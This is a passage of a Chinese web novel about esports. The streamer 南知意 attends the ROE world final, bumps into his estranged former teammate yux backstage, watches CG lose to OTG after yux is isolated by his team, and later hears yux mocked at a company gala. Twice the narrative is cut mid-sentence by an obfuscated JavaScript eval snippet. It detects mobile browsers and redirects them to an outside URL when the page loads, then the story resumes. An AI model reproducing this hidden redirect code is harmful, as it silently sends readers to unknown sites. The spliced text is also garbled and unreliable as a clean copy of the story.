那些当初在小青训微博下带节奏的人，一看自己冲错了对象，删了评论转头就跑，留他一个人迎接粉丝们的怒火。一连好几天，南知意都看见丘成沉着脸色，一声不吭地在家里走动。 但毕竟是他有错在先，南知意便也只是尽量不在他面前提起这个话题。 最后丘成收拾了行李出门，说要停播一段时间，回老家散散心。 说是散心，实则是为了躲过这段时间的风头。 10月26日，ROE世界邀请赛总决赛在N城正式开幕。 南知意奋发图强，提前三天补完了当月的直播时长，又联系了宠物店给他的鸟办理了一个星期的寄养——终于在比赛开始的前一天，和Pigeon，他的朋友宋白羽，一同飞到了N城。 来接机的人是宋白羽的哥哥，宋蒙。 宋蒙长得人高马大，站在一众接机的人里格外显眼。他戴了一个黑色的毛线帽，下半张脸严严实实地遮在口罩里，只露出了轮廓硬朗的眉眼，乍一看上去有几分严肃。 宋白羽一眼就望见了对方，他穿着厚重的羽绒服，顶着锡纸烫，三步并做两步冲过去，活像一个翻滚的大毛球：“哥！！” 南知意跟在后面，从里三层外三层的打扮里发出闷闷一声：“蒙哥好。” 宋蒙看到他们，立刻弯了弯眉眼：“来了啊？” 他笑起来的时候便显得一点也不严肃了。反倒有淡淡的倦怠感在眉眼中散开。 “你们一个两个怎么都穿成这样，脸上戴一二三层护甲。”出了机场，一上车，宋白羽就嚷嚷起来，“看着和中东悍匪似的。” 宋蒙正在拆脸上的装备，闻言乐了：“我是不想被人看到，但是小意你怎么也穿成这样？” 宋蒙和许多从前的明星选手一样，都曾在CG战队中效力，担任的是副C位，搭档过CG队史上最著名的主C、世界赛一冠一亚的获得者Nova。去年，他刚刚在社交平台上宣布了退役。 南知意还来不及开口，宋白羽已经抢先回答：“他也怕被yux粉丝看到。” 宋蒙停顿了一下：“yux？是我想的那个yux吗？” “对，就是之前和你一队的那个yux。”宋白羽说，“他俩粉丝好夸张，看到他俩的名字同框都能掐起来！要是让别人看到南知意跑去看yux的比赛……嘿！直接明天热搜见！” 宋蒙听完，好一会才开口：“我是年纪大了，记忆错乱了吗？” “小意，”他转过头来对南知意说，“我记得你之前和yux关系挺好的？” “不，你没记错。”宋白羽嘴快，脱口而出，“哥你还记得不？我，小意，还有yux，我们三个一期青训的。我到现在都还记得，有段时间不是有个上多少分才能休息的指标吗？他们玩主C的上分快，我们辅助这边吃队友上分慢，每次他们都比我们早一个小时结束。” “每次结束以后，yux就在外面等南知意一起回宿舍。我观察过他好几次，这人不玩手机，也不干别的，就站在那里硬等，一声不吭地盯着里面啊——唔唔唔！唔！！！” 南知意忍无可忍，一把捂住了宋白羽的嘴。 “蒙哥你别听他胡说八道。”他对宋蒙报以微笑，“其实就是后面闹了点小矛盾。游辛……他上一队之后，我们就没怎么联系过了。” 说出这个名字的时候，南知意甚至磕绊了一下。分明是每天都会在生活中见到的文字，说出口却近乎于陌生。 “这样啊。”宋蒙从后视镜看他一眼，若有所思。 “我这里还有yux的联系方式，要不要我帮你们……解除一下误会？” “不不不不不用了！！”南知意一迭声道。 宋蒙扬了扬眉毛。 “……真没事的，蒙哥。”南知意败下阵来，“我其实也有他的联系方式……但是他，唉，可能不是特别想和我和好吧。” 宋白羽突然在旁边大声地“嘁”了一声。 “你看你怂的。”他推了南知意一把，“你放心好了。以我对yux的了解，他绝对肯定百分之一万不讨厌你。” 南知意：“？” “你知道yux真讨厌一个人是什么样的吗？你不知道吧。”宋白羽幽幽地说，“反正我知道。” “我之前排位坑了他一把，他直接私聊我说把我拉黑了，免得下把排一起。” 南知意笑了好一会，才开口道：“和你那情况不一样。” 宋蒙带两人吃了顿饭，又开车把他们送回酒店。 临走前，他嘱咐道：“明天你们自己打车去场馆吧，我就不送你们了。” 南知意好奇：“蒙哥你不去看比赛吗？” “我不去。”宋蒙摆摆手，“注意安全，有事给我打电话。” 他的身影消失在酒店的走廊里。宋白羽关上房门，长叹一声，回身倒在自己的床上。 “我到现在都不知道他是怎么了。”他忽然道，“突然说不打了，突然就宣布退役，还一个人跑到国外来，说要保护隐私，不想让别人知道自己的现状？？” “他说是自己状态下滑太厉害才不打了。可退役前一年的时候，不都还打得好好的吗？怎么最后那段时间突然就成那样了？” 南知意走到自己的床边坐下：“你哥还是不打算复出吗？” “复出啥呀，你看他这样子。一点心气都没有了。” 宋蒙17岁时出道，21岁时加入CG战队，在此之前已经拿了三个联赛冠军，是当时在役选手中当之无愧的副C位第一人。 加入CG，也是为了冲击自己当时还没有的世界赛冠军。 然而，在CG比赛的两年时间里，宋蒙的状态出现了断崖式的下滑。最后一年，和yux搭档时，队里已经开始提替补，替代Meng首发出场的位置。 那一年的转会期，Meng的粉丝没有等到转会或是续约的消息。 最终等来的，只有一封微博上宣布退役的告别书。 从天才横空出道，到最终惨淡收场，南知意有时候觉得，宋蒙职业生涯的句号画上得有些太过草率。 “我就是觉得挺可惜的。”他说，“有时候就是缺点化学反应。换个队说不定状态又能恢复了……” “他最后打的那一年，有时候我和他聊天，其实感觉他也挺累的。说不上来的感觉。”宋白羽翻了个身，开始玩手机，“算了，就让他休息去吧。就当是放过他自己了。” - 次日，南知意二人提前了一些时间到比赛会场。 此时的场馆外已是热闹非凡，人多眼杂，宋白羽不得已也加入了中东悍匪的行列，把自己裹得严严实实。 入场前南知意拐进了旁边的咖啡店，意外发现里面有正在分发应援物的yux粉丝。他走着走着就看中了一款手幅，混入一众粉丝想要领取。 然而，不知道是他不露脸的打扮看起来太不像好人，又或者是别的原因，分发应援物的小姐姐看了他一眼，说：“领取我们这个需要yux超话8级哦。” 宋白羽犹豫了一下，正想着要不要拉下口罩刷个脸之类的，就见南知意掏出手机，出示了什么页面给对方看。 小姐姐认可地点点头，把手里的应援物递给了他一份。 宋白羽：“？” 南知意回来后，两人一前一后往外走。 待到周围人少了点，宋白羽忍不住追上来道：“你刚才给她看什么了？” “就超话等级啊。”南知意整个人包在围巾里，声音闷闷的。 “不是，你还有这玩意呢？8级？” “我有yux超话12级的牌子。”南知意语气里透露出一丝骄傲。 宋白羽：“……” 宋白羽：“我突然想到一个事，现在很想立刻八卦一下。” 南知意：“？” “就前段时间投票那个事——你都知道你们粉丝会吵架带节奏，你干嘛还给他投全明星啊？” 南知意想起来了他说的是什么。 前不久，他用大号给CG.Yux投了一票“年度最佳选手”，没想到大号自动发了条提示微博出来。 好不容易手忙脚乱地删了，还被有心之人截图下来，说他是故意发了又删，炒作热度。 他显得很无辜：“我忘了那个投票投了之后会自动发微博了。” “那你直接拿小号投不行吗！！你没有微博小号吗！！” “我当然有啊！”南知意有点不服气，宋白羽的语气听起来就像是“你渴了不会自己找水喝吗”，觉得他患有重度智力障碍。 他条理清晰地解释道：“那个投票，一个号只能投一票。我用小号投过了，就想拿大号再投一票。” “…………”宋白羽感觉自己有点要抓狂了，“我他妈对你真是无语了。” 他彻底放弃思考南知意是怎么做到用这种“表面避之不及，背地里疯狂追星”的态度，来对待一个多年之前就已闹掰的朋友。 此人的脑回路与常人有异。理解不了。 两人一面说一面走路，很快便到了场馆的一号门。这里全是排队的粉丝。他们的票虽然是前排的VIP票，但主办方过于草台班子，竟然没有设置VIP通道。 “走走走，我带你从后面进。”宋白羽拉了他一把，“这块人也太多了。” 南知意抓着那张手幅，他有点担心：“能进吗？” “十六强的选手证也是证啊。”宋白羽冲他挤了挤眼睛，“离开场还早着呢，不会不让进的。” 两人从员工通道的小门进了后台，南知意莫名地有点心虚，安静如鸡地跟在宋白羽背后，听对方碰到了自己不认识的熟人还打起了招呼。 他一路低着头走，盯着自己的鞋尖，心里想着这里应该也不会有人把他认出来。 因而等到视野里出现另一双鞋的时候，已经来不及反应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345650|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— “砰”。 南知意和来人撞了个满怀，下意识地手一松，应援物跟着掉在了地上。 与此同时。 “——哎，鸽子？” 一个有点耳熟的声音在旁侧响起。 南知意微微侧头。 透过暗色的墨镜，他先是看到了CG的辅助选手wind，接着，对上了表情看起来有点惊恐的宋白羽。 “……” 南知意缓缓抬起头来。 那一瞬间仿佛有一百年那么漫长。他感觉自己全身上下的关节好似都被冻住了。 一个身穿黑白队服、留着长发的人被他撞得身形晃了晃，最终在距离他几厘米的地方站定，垂眸，神色淡淡地看他一眼。 这个人的睫毛很长，眼瞳是一种很深邃的黑，盯着人看的时候，像是能看透对方所有的伪装。 发尾和脸上还挂着水珠，似乎刚从卫生间洗了个冷水脸出来。 南知意头脑一片空白地站在原地。 他心里冒出的第一个念头居然是：真人比照片好看多了。 和以前相比，好像又长开了一点。少了一些稚气，多了几分英俊。 “不好意思。”片刻后，游辛开口道。 他后退一步，俯下身，捡起掉落在地上的手幅。 南知意的视线下意识地跟着对方的动作转，落在对方看起来骨节分明、有力的手指上，其中的食指上戴着一只黑色磨砂质感的戒指，手腕上戴着同款的手镯。游辛起身的时候，他又被对方胸前的银黑色十字吊坠吸引住了目光。 因而等到那张手幅递到他眼前，南知意才忽然回神，发现自己简直像个变态一样从头到尾都在盯着对方看。 “…………” 游辛举着手幅，视线落在了上面，忽然停顿了一秒。 他看了看手幅，又抬头看了看面前的人。 不知是不是错觉，南知意似乎听见他……笑了一声？ 他下意识地跟着看向上面的内容，紧接着，猛然发现，他拿到的这张手幅上，除了“CG.Yux”“辛之所向，一往无前”和一张清晰巨大的选手正脸图外，还有一行金色的笔迹—— 【老公的容貌，妻子的荣耀！！！】 后面跟了一连串形态各异的小爱心。 南知意：“……” 南知意：“。” “……快开始了。我们出来上个厕所。”另一边和宋白羽聊天的wind也注意到了这边的不对劲。 他停顿了一下，然后看着南知意问：“这是你朋友吗？” 宋白羽看起来比南知意还紧张：“对对，我朋友。你不不认识他，哈哈。” “？”wind怪异地看了看两人，“他这是……” 南知意木然接过手幅，大脑在飞速转动中冒出一个歪点子。 他伸出手，指了指自己的喉咙。 又在空中比划了两下。 宋白羽心领神会，脱口而出：“哦哦他是个哑巴！” wind：“？” 游辛：“……？” 南知意：“…………” 我是想让你说我感冒了！！！ “哦不是，我是说……”宋白羽深吸一口气，“他其实是yux铁粉哈哈哈，可能见到真人有点紧张，有点不会说话了哈哈哈哈。” wind：“……我看好像是你不会说话了。到底咋了这是？” 南知意隔着墨镜，用幽怨的眼神看向宋白羽。 宋白羽对上了他的信号：“哦，他想说……祝你们比赛加油！旗开得胜！！” “？？”wind有点想笑了，“不是啊白羽，怎么我们打比赛，你比我们还紧张啊？” 宋白羽已经快要控制不住表情了：“因为我现在也想上厕所……你们赶紧回休息室吧我先去看台了啊拜拜拜拜！！” 说着，一把拉过南知意的胳膊，打算夺路而逃。 却在这时。 从头到尾都很安静的游辛忽然动了动。 他的目光落在宋白羽抓着南知意的那只手上，半晌，轻飘飘地开口： “谢谢你来看我的比赛。” - wind站在原地，看着那两人逃命般远去的身影，一脸的莫名其妙。 结果一回头，发现身边的队友同样盯着那个方向。 “你认识啊。”wind想起方才古怪的情形，不由得问，“是你朋友？” 游辛收回视线，表情没什么变化。 “不清楚。”他说。 wind：“……问你yes or no，你选or。” 游辛把手揣进兜里，往回走，抛下一句：“那就不是吧。” wind感觉这些人今天一个两个都吃错药了。 CG的休息室在走廊的尽头。 游辛推开门，躺在沙发上的副C beer听见动静，抬头看了他一眼，又低头继续玩手机。 其余人也都在各做各的。房间里没有人说话。 只有教练见他进来，开口叫住他：“考虑得怎么样了？” 游辛走到自己的位置上坐下。 “我还是原来的想法。”他直截了当地说，“原先的Pick思路太死板了，应对不了OTG这样的队伍。” 教练闻言，冷笑一声：“那你有没有想过，队友配合不了你的Pick怎么办？” 游辛语气同样冰冷：“一个职业，上线到现在多少年了，有的人还练不出来。这是我的问题吗？” 教练被他说得愣了一愣。 半晌，他道：“你现在说这些不也都是废话？” “Yux，我的话就放在这里。”教练交叉双手，抱在胸前，“轮换的权力在我手里——能不能上场比赛，到底该怎么BP，不是你说了算的。” 5. 第 5 章 南知意攥着那张手幅，绝望地坐在VIP观众席上。 他没有扔掉它。 反正最糟糕的情况已经发生了，还能有什么比这更可怕的呢？ 宋白羽还在一旁对着他挤眉弄眼：“你在这杵着一动不动的干啥？诶，你说yux刚才是不是把你给认出来了？你看我说什么来着？人家对你根本就没敌意。” “……”南知意很想把手幅拍在这个罪魁祸首的脸上，早知道墨菲定律这么灵验，他绝对不会跟着对方走后台，“亏你还笑得出来。” 宋白羽很没良心地耸耸肩：“你就说我说得对不对吧。” “闭嘴吧你。你根本就不懂。” “我能有什么不懂的？这世界上就没有你哥哥我不懂的事。”宋白羽哼哼了两声。 想了想，补上一句：“爱情除外哈。咱们母单还是得谦虚点。” 南知意：“……”他真是一句话都不想和这个人多说了。 随着比赛时间的临近，观众们陆陆续续地填满了看台。 宋白羽碰上几个关系好的选手，一边聊天去了，听语气，应该是在聊什么八卦。 南知意无心加入他人的闲聊，心不在焉地翻起了手机。 一个名叫【永恒联谊大会】的群聊里有艾特他的消息提示。 群里有20多个人，基本都是Stars上游戏分区里流量大的主播。 南知意爬了爬聊天记录。 【汤圆：今晚我和星星姐线下看比赛@陶星，四缺一，还有没有人能来的】 【松时：你们不是和城主一起吗？】 【陶星：他有点事，来不了】 【汤圆：丘哥回老家去了。刚和大明星起了节奏，哪敢播啊】 【松时：难受啊，吃不了这波流量了[捂嘴笑]】 群里沉默了一小会。 过了一会，陶星又发了一条。 【陶星：@天使意 小意来不来一块儿？】 【汤圆：意哥应该不和我们一起吧】 【汤圆：大主播还轮不到和咱们这些小虾米玩[笑哭]】 消息已经是一个小时之前的了。 南知意@陶星，回复了她的消息：【星星姐我和朋友在外面旅游，今天就不来了】 群里很快有了新回复。 【汤圆：意哥和哪个妹妹出去潇洒了，连决赛都不看了】 【汤圆：你这样星星姐要伤心了[坏笑]】 汤圆和丘成是同一工会签约的主播，平时的直播风格以浮夸为主，经常搞出一些在直播时突然跳起来干翻自己椅子的动静，整个人咋咋呼呼的，平时的聊天风格也不怎么有边界感。 南知意不想透露自己此刻就在决赛现场，没回复他的调侃。 【陶星：@汤圆 别乱说话】 【陶星：小意玩得开心啊，出去玩就别老看手机了】 南知意打字回复。 【天使意：谢谢姐，我玩去了[开心]】 - 南知意发了开心的表情，却实在开心不起来。 他有点紧张。 总决赛的开幕式比其他赛事盛大许多，还有歌舞表演。 南知意梦游般盯着台上蹦蹦跳跳的一群人。直到双方选手开始上场，他才回过神来。 场馆里的暖气很足，他的手心里却全是冷汗，心脏砰砰地跳。 主持人在用英文介绍选手，南知意听得一知半解，但是游辛上场的时候，主持人明显来了精神。他听见对方声音洪亮地用“King”这样的词语形容yux，现场也涌起一声盖过一声的高呼。明明是客场作战，受到的欢迎一点也不比主场的OTG选手们少。 直到正式开始比赛，现场的议论声才渐渐小了。 第一场游戏比南知意，以及许多CN赛区的观众想象得都要顺利。 yux拿到了自己得心应手的职业弓箭手，在丛林图大杀四方，以14-0-2的惊人战绩结束了比赛。 第二局，前期CG陷入了劣势，但关键时刻yux再次站了出来，以一敌三，硬生生翻盘获胜，操作看得解说连连惊叹。 CG2-0领先，手握三个赛点。 “胜利”字样跳出来的时候，宋白羽直接在旁边喊破了音：“我草，小！游！神！牛逼！！！” ——当初给WD剃了光头、打得宋白羽和队友差点游泳回国的，正是OTG这支队伍。 眼见兄弟战队给自己复仇，宋白羽异常兴奋。 “今天要是拿下，我宣布yux直接封神了好吧！”他抓着南知意的肩膀摇晃，“我好像给你吐槽过吧？OTG那主C，就Hust，他人品巨差，之前排位遇到过他，堵门杀我。真是太特么解气了……” 南知意被这个2-0冲得有点头晕脑胀，但还是抬起手来，阻止了宋白羽的半场开香槟行为：“你不觉得beer的状态不是很好吗？” 刚才的第二把，beer开局连死三次。如果不是游辛最后站了出来，恐怕已经要被对面拿下了。 “他不一直是那样吗，神一阵鬼一阵的。”宋白羽一幅习以为常的样子，“其实我们背地里都偷偷叫他抽风C。” 南知意：“……” 南知意：“但万一后面yux站不出来怎么办？总不能一直指望他一个人C吧。” 宋白羽“嘿”了一声：“大决赛的，别说这种晦气话。” “我只是担心。” 宋白羽：“……我发现了，你们真爱粉都喜欢先在棺材里躺好，等赢了就揭棺而起是吧。” 南知意笑了。 然而很快，他就笑不出来了。 第三局，CG的藏招被OTG识破，针对之下，游辛拿到了一个当前版本很不利的职业。 这一局的地图是空中之城，CG在这张图上的胜率只有可怜的34％。 四十分钟后，这场游戏没什么悬念的输掉了。 “2比1……”宋白羽也没有方才那么兴奋了，“问题不大。总不能总决赛上还能被让二追三吧？多少年都没有的事。” 留给台下观众提心吊胆的时间并不多，第四把对局很快开始。 Pick环节，CG在最后一楼锁下了【大祭司】。 “yux这把玩大祭司啊。”宋白羽在旁边若有所思，“我印象中他不经常碰这个……哎我去，大祭司给beer了？！！” 他目瞪口呆地看着大屏幕：“——CG玩呢这是？！” 副C和主C的职业选择大多共通，区别只是队友更倾向保护谁而已。 有的队伍会在主C状态不好时，选择将输出的任务更多交给副C。 而像大祭司这种长手大脆皮职业，往往都是交由最能输出的位置完成。 看台一片低声讨论，解说也语气惊讶。 导播恰到好处地给了游辛一个特写镜头。 bo5进行到第四场，在场的大多数选手已是大汗淋漓，唯独游辛还是一幅镇定自若的神情。 就连头发丝的走向，都和刚上场时一模一样。 他这把选择的是输出能力没那么强、但自保还算不错的【元素法师】。镜头里，他没有说话，似乎对队伍做出的决定没有异议。 南知意有点坐不住了。 他扭头问宋白羽：“刚才那把，主C玩得很差吗？有必要这就交换位置吗？” 平时的季后赛bo5，都很少有队伍会做出这样的决定，更惘论是在决赛场上。 第三场比赛里，虽然yux遭到对方针对，以0-4-2结束了对局，但纵观全局，他也只小小地失误了一次。 宋白羽盯着屏幕。 他神情有些严肃：“……我感觉CG的战术不行啊，完全被对面拿捏住了。就算不换位，选完职业，这把看起来也没了。” 第四把比赛，堪称摧枯拉朽。 只不过OTG是摧拉，CG是枯朽。 比赛来到了极其僵持的二比二平。 台下，南知意已经彻底不敢看大屏幕了。 ——他发现，刚才双方交战的时候，只要他看着屏幕，CG就挨打。 他不看屏幕了，CG反而打得还不错。 下把不看，说不定真就拿下了。他暗暗在心底祈祷。 人这一生，能有多少次站在总决赛上、手握赛点的机会呢？ 南知意神游一般将目光锁定在CG左边第二名队员身上。 直到周围所有人都不约而同地发出了一声惊呼。 他还没来得及问怎么了，一抬眼就发现，2L的游辛ID上方，明晃晃地锁定了一个职业。 ——女巫。 “我靠，他疯了吧？”一旁，宋白羽震惊到几乎失语，好半天才憋出一句话来，“女巫都多少年没上赛场了……今年一整年都没人玩吧？” rank和比赛里对职业的要求截然不同。女巫这样平衡性差、容错率极低的职业，就连平时的联赛里，都几乎没有选手使用。 而如今，有人在决赛场上选用了她。 导播再度给了CG四人一个特写。 镜头里，刚刚做出了惊人之举的游辛依旧是那副面无表情的模样，另外三人却已是齐刷刷地转头看向了他。 wind面露惊讶，beer压低眉头，坦克选手bost更是不加掩饰，直接将嘴张成了O形。 而站在队伍身后的教练Zds，脸色已经变得极其难看。 游辛出乎意料的职业选择似乎让OTG乱了阵脚。 犹豫很久，OTG锁下两个有些表现平平、不太契合队伍风格的职业。 CG则为辅助位拿下了和女巫适配的小猫人。 宋白羽眼睛亮了亮：“OTG这手Pick有点迷啊……其实这么看下来，好像也不是不可以？” “可能吧。”南知意嘴上说着，却还是叹了口气，“我觉得，嗯，不太行。” “别这么悲观啊。”宋白羽拿肩膀撞了他一下，“就差这么一把了。” 南知意犹豫了片刻。如果眼下是在直播间里，他绝对不会说出这番话：“不行的。” “wind的猫……不太行。”他说，“不是操作上。我看过那么多场CG的比赛了，每一场他玩猫，从根本上看，他的思路都有问题。” “和弱队比赛的时候体现不出来。但对手是OTG这样的强队的话，高压之下，他的思路会带偏整个队伍的。” 宋白羽愣了愣：“真假？回头你给我讲讲呗，我还从来没注意过呢。” 焦灼的最后一战终于打响。 也证实了南知意第六感极其准确。 开局不久后，所有观看比赛的人也纷纷发现了不对劲。 ——wind明明选择了小猫人，却全程都挂在副C beer的身上。 beer手握复活点，两个人一起行动，反而将需要保护的女巫一个人丢在了古堡中。 就连解说也不由得发出了疑问：“……这是CG开发出的新战术，吗？” 另一位解说接不上话：“呃……这个嘛……” 因为明眼人都看得出来，这与其说是战术，不如说是孤立。 许多主C玩家在排位时，都对此深有体会。 单排里没有辅助跟自己是常有的事。因而大多主C的打法独之又独，妄图靠自己埋头猛C赢得对局。 而眼下的yux，不像是在打总决赛的生死局，倒像是在打一场全无配合的单排路人局。 很快，OTG也发现了CG方出现的问题。 南知意看到OTG的几位选手在快速交流。 接着，OTG安置好了自己的复活点。四人兵分两路，副C、辅助和坦克朝yux所在的位置包抄，主C则朝beer所在的位置靠近。 “OTG应该是猜到了复活点在beer手里才对。”宋白羽皱着眉头解说，“但是他们怎么只派一个人去……” 他说着说着，忽然一拍大腿：“完了！他们不是要去破坏复活点的！！” 南知意已经看穿了对方的行动，此刻心情极其沉重，但也还能勉强分析对局：“——他们是想干扰yux的复活。” 下一刻，只见OTG的主C露头，出现在了还没安置好复活点的beer附近。 这个人上一局里杀了beer五次。 beer被吓了一大跳，立刻带着小猫人往另一侧跑。 他刚一动作，埋伏在女巫必经之路上的OTG另外三人瞬间一齐露面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345651|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！ 一切都在电光火石间发生。 满场惊叫声里，yux面对突然出现的对手，以一敌三，勉强换掉了对面副C，倒在拿着手握重剑的OTG坦克面前。 另一边，wind和beer二对一，却被吓得四下逃窜。 beer手里抓着还未摆放完成的第四块石头。 复活之门在队友死亡后的10秒内激活有效。 女巫倒下的第11秒，beer甩开对面主C的纠缠，终于将石头放在了正确的位置上。 ——一切都来不及了。 【[女巫]CG.Yux的灵魂已被驱逐出世界】 尘埃落定，满场的OTG粉丝欢呼起来。 场上只剩下了七个选手。 4V3，败局已定。 排山倒海的“lets go OTG”里，南知意下意识看向舞台。 他坐得很靠前，能够看清CG一侧所有人的动作和表情。 游辛面前的屏幕已经永远地变成了黑白。他盯着游戏画面看了一会，搭在鼠标和键盘上的手攥得死紧，像是不敢相信自己以如此荒谬的形式倒在了离奖杯一步之遥的地方。 许久，那双手松开了，慢慢滑下桌面，垂落在了身侧。 - “你说他们是怎么想的。”回酒店的一路上，宋白羽都在骂骂咧咧，“放着女巫不保？跑去保副C？” 他说着说着，给自己说得有点冒火，不由得转向南知意：“是我的话，上场保着女巫玩，说不定就赢了呢？” 南知意停住脚步。 他想了想：“还是很难。wind选了猫，注定没办法一个人带着复活点。队里另外两个人不太灵活，也很难单独行动。所以这个Pick必须绑架女巫去布置复活点，否则猫就得跟着别人。” “如果……”南知意说着，话音停顿了一下，“如果是我的话，局面已经到这里了，我其实会选择跟着Bost打。不是贴身保护C位，而是把对面拦截在攻击范围之外。他们两个去踩危险区，一般来说都不会出事。” 宋白羽细细地思索了一阵：“靠……你说得好有道理啊。” “我有你这脑子就好了，我们队说不定还能蠕进八强。”他说着，忽然想到了什么，“小意你说，要是当年你没退出该多好？今天说不定就是你和yux在场上了。” “……”南知意友善地提醒他，“wind是CG队长。” 宋白羽没听见似的，还在自顾自地想象：“遥想当年，你和yux搭档那会，打遍天下无敌手啊？从前训练，哪次你不是队里第一名？我第一次和你们B队打，当晚就给我哥打电话，边哭边说我不打了我要回家，他劝了一个多小时才劝住我。嘿，今天要真是你，上去咣咣几巴掌，直接把Hust抽得找不着北……” 回到酒店以后，宋白羽直奔浴室，打算用水冲掉满脑子的愤愤不平。 南知意则在床上看起了CG的败方群访。 他进直播间的时候，记者正在向yux提问，问他第五局比赛里，队伍选择了保副C而非主C，当时队内的沟通情况是怎样的？ 镜头从台上缓慢地平扫过去，已经被提问拷打过一轮的wind此时低着头，像是恨不得把脸埋到桌子下面去。他旁边的beer面色惨白，手里抓着一瓶矿泉水，已经快把包装纸给扣烂了。 游辛坐在队伍的最右侧，平视着前方。 听见主持人念他的id，他的神情轻微动了动。 接过递来的话筒，游辛开口：“你是问当时我们的队内沟通吗？” 记者：“是的。” “当时队内没有沟通。” 游辛说完，很干脆地把话筒往身边的教练怀里一塞，大有一副“你们要问就问他去吧”的架势。 教练Zds的脸色立刻变了。 弹幕上顿时划过一大片的【？】 【这是撕破脸了？？】 【不是你自己玩脱了？还回头甩锅队友】 【小游神不一直是这德行，你们第一次看他采访啊？】 【说事实也叫甩锅？】 【开局秒锁女巫这种孤儿职业，还想要队友保是吧】 【选女巫不就明摆着放弃队友想自己C了呗】 【狗叫？人没打职业前就是亚服第一女巫了。你是？】 【游哥也是体面人，换我我直接红温了，辛辛苦苦把人机队友抬进决赛，结果拉了坨大的】 【被让二追三还不如直接被三比零呢，老子也不用熬夜到这个点最后吃一嘴史】 台下的记者显然也被这个回答震住了。 好半天，她才继续道：“下一个问题还是给yux选手的……今天的比赛结果虽然不尽如人意，但你还是带领战队走到了决赛这一步。你在CG的合同还有一年时间，想请问yux之后的这一年里，有什么打算吗？” 话筒再度回到了游辛手里。 游辛原本在看自己的手，闻言掀起眼皮，扫了一眼台下的人。 半晌，淡淡道：“重新开始吧。” …… 有关CG这一年的最后一场比赛，赛后众说纷纭。 有说ABW三人收钱打假赛的，有说yux白莲花不粘锅的，有说教练Zds甲级战犯的。 赛时氛围已然淡化，讨论的激烈程度却不降反升。 一切的一切，都在转会期结束、所有战队公布大名单的这一天达到了最高点。 由于yux在CG的三年合约还有一年到期，因此先前有关他的讨论重心并不在此上。 然而，在CG2025年春季赛的大名单上，CG.Yux的ID下方，赫然是“替补”二字。 原本的主C位置，则换上了从二队提拔上来、一场联赛都没打过的新人xww。 一石激起千层浪。 yux粉丝并没有想到，至此，一切才刚刚开始。 ——往后的几个月时间里，yux，游辛，这位新生代顶级选手、ROE联赛春夏双冠双fmvp得主，队内夺冠最大功臣，比赛一场未上，rank一场不打，就连平时排位用的大小号，也在这100多天的时间里再也没有上线过。 像是突然人间蒸发了。 6. 第 6 章 时间一晃就到了三个月后。 临近春节，路边的电线杆都喜气洋洋地挨个挂上了红灯笼。 南知意照常收到了Stars年会的邀请函。他原本不想参加，但丽姐——他的经纪人张丽——坚持要他来，说是今晚有大老板在。对方有意与Stars进行ROE相关内容的合作，他作为代表一定要出席。 除此以外，丽姐还给他派发了一个重大任务：上台献唱一曲。 南知意拗不过对方的再三请求，在表演节目环节硬着头皮上去唱了一首老歌，中途走音了四五次。 公司性质原因，他们的年会节目还会全网同步直播。放下话筒的时候，南知意实在很想现场挖个坑把自己埋了。 不过他还是受到了满场的热烈欢迎，下台后被十来个不认识的主播抓着要合影，走着走着就找不到原先自己的位置了。 最后还是陶星把他从人堆里解救出来，拉到了自己那桌。 这一桌坐着的人基本都是玩ROE的主播，但体量比较小，南知意看了一圈，除了陶星以外，只认出了染着一头黄毛、面容精瘦的汤圆，于是朝他点了点头。 由于在座的人大多不认识，外加心情实在不算太好，南知意坐下后便开始埋头干饭，听其余人聊天。 一群打游戏的人聚在一起，能聊的话题本就不多。 很快，就有人聊起了三个月前的世界赛总决赛。 “本来都2比0了，我真以为能拿下的。” “谁说不是。三个赛点的时候我点了个烧烤外卖，外卖到的时候剩俩，吃一半被追平。这谁还吃得下去？” 汤圆这时接了一句：“其实呢，主要还是有内鬼。” 他说完之后，众人不由得愣了一下，但接着又都吃吃地笑了起来。 在座的人里，除了南知意以外，就数汤圆的粉丝最多。 “要我说，我们小游神就是被联盟惯出来的毛病。”汤圆见大家都笑了，一副很受用的表情，继续侃侃而谈道，“你看，他和自己老板对着干，结果回头一看，CG还是CG，联赛第一战队的流量摆在那里，有他没他都一样。” 南知意夹菜的动作一停。 yux人间蒸发之后，圈里的懂哥们便如雨后春笋般纷纷冒了出来，发视频的发视频，写文章的写文章，长篇大论他的存在对于CG整支队伍的危害性，说他心高气傲、不听劝阻，说他看似核心、实则是队伍里的毒瘤。 否则为什么如今换上了新人xww，春季赛开赛至今，队伍不仅成绩稳定，氛围也变得更好？ 可汤圆什么时候也变成这样了？南知意想。 之前的连麦观赛的时候，他可一直号称自己是“yux头号粉丝”。 “也就是长了那么一张脸，一堆女粉天天捧着他的臭脚，就真以为自己是个人物了——” “当”！ 忽然，坐在汤圆对面的一个人把手里的碗往桌上重重一放。 汤圆话音随之一顿。 “你说话能不能……注意点。”那人皱着眉头开口，大概是过于紧张，还磕巴了一下，“别人yux，没惹过你吧。” 说话的是个白白瘦瘦的黑头发男生，戴着眼镜，乍一看像还在读高中的学生。 汤圆愣了一愣，随即“扑哧”一声笑了：“哎哟，让我给忘了，我们桌上还有大明星的粉丝呢。” “坏了，有点怕怕啊。”他啧啧道，“兄弟你可别举报我，我可不想当丘哥2.0。” 今年丘成没有收到邀请函，对于他一个体量近千万的博主来说很不正常。 